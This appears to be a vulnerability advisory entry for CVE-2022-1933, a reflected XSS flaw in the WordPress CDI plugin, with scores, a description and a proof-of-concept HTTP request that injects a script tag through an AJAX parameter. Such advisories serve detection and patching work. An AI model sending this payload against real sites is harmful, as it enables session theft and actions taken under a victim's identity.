| Title | WordPress CDI <5.1.9 - Cross Site Scripting |
|---|---|
| Author | Akincibor |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions. |
| Remediation | Upgrade WordPress to version 5.1.9 or later to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.14451 |
| CVE ID | CVE-2022-1933 |
| CWE ID | CWE-79 |
| Tags | cve cve2022 cdi wpscan wp-plugin wp wordpress xss collect_and_deliver_interface_for_woocommerce_project vuln |
WordPress CDI plugin prior to 5.1.9 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the response of an AJAX action. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
GET /wp-admin/admin-ajax.php?action=cdi_collect_follow&trk=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-1933.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-1933.pcap
N/AN/A